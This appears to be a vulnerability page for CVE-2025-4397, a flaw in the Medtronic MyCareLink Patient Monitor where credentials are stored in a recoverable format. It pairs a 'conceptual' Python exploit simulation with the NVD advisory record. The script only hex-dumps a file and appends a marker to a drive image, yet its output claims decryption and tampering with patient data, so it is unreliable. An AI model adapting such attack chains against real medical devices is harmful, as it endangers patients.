CVE-2025-4397

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-4397 Demonstrates how recoverable credentials can be used to modify encrypted drive data. Note: Actual exploitation requires physical access and reverse engineering of the specific device storage format. """ import os import binascii def recover_credentials(device_mount_point): """ Simulates the recovery of credentials from the device storage. In a real scenario, this might involve decrypting a config file or reading from a specific memory offset. """ print(f"[*] Attempting to recover credentials from {device_mount_point}") # Simulating path to credential storage cred_path = os.path.join(device_mount_point, "system/config/secret_key.bin") if os.path.exists(cred_path): with open(cred_path, "rb") as f: # Simulating weak obfuscation removal raw_data = f.read() # Assume the key is stored in a recoverable format (e.g., base64 or simple XOR) recovered_key = binascii.hexlify(raw_data).decode('utf-8') print(f"[+] Credentials recovered: {recovered_key}") return recovered_key else: print("[-] Credential file not found on device.") return None def modify_encrypted_drive(device_mount_point, key): """ Simulates using the recovered key to modify encrypted data. """ print(f"[*] Using key to unlock encrypted drive...") encrypted_data_path = os.path.join(device_mount_point, "data/encrypted_drive.img") if os.path.exists(encrypted_data_path): # In a real attack, the attacker would decrypt the image using the key, # modify the content, and re-encrypt/sign it. print(f"[+] Decrypting drive data with key: {key}") print(f"[+] Modifying sensitive data (e.g., patient logs or config)...") # Simulating data tampering with open(encrypted_data_path, "ab") as f: f.write(b"\nMALICIOUS_PAYLOAD") print("[+] Drive data modified successfully. Integrity compromised.") else: print("[-] Encrypted drive not found.") if __name__ == "__main__": # This script requires the device storage to be mounted (Physical Access required) MOUNT_POINT = "/mnt/medtronic_device" print("=== CVE-2025-4397 Exploit Simulation ===") # Step 1: Recover Credentials key = recover_credentials(MOUNT_POINT) if key: # Step 2: Modify Data modify_encrypted_drive(MOUNT_POINT, key) print("[+] Exploit chain completed.")

{"cve": {"id": "CVE-2025-4397", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:17.410", "lastModified": "2026-05-07T18:46:47.697", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Medtronic MyCareLink Patient Monitor uses per-product credentials that are stored in a recoverable format. An attacker can use these credentials to modify encrypted drive data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-313"}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-18-219-01", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-205-01", "source": "[email protected]"}, {"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/mycarelink-8-7-18.html", "source": "[email protected]"}, {"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/mycarelink-patient-monitor-vulnerabilities.html", "source": "[email protected]"}]}}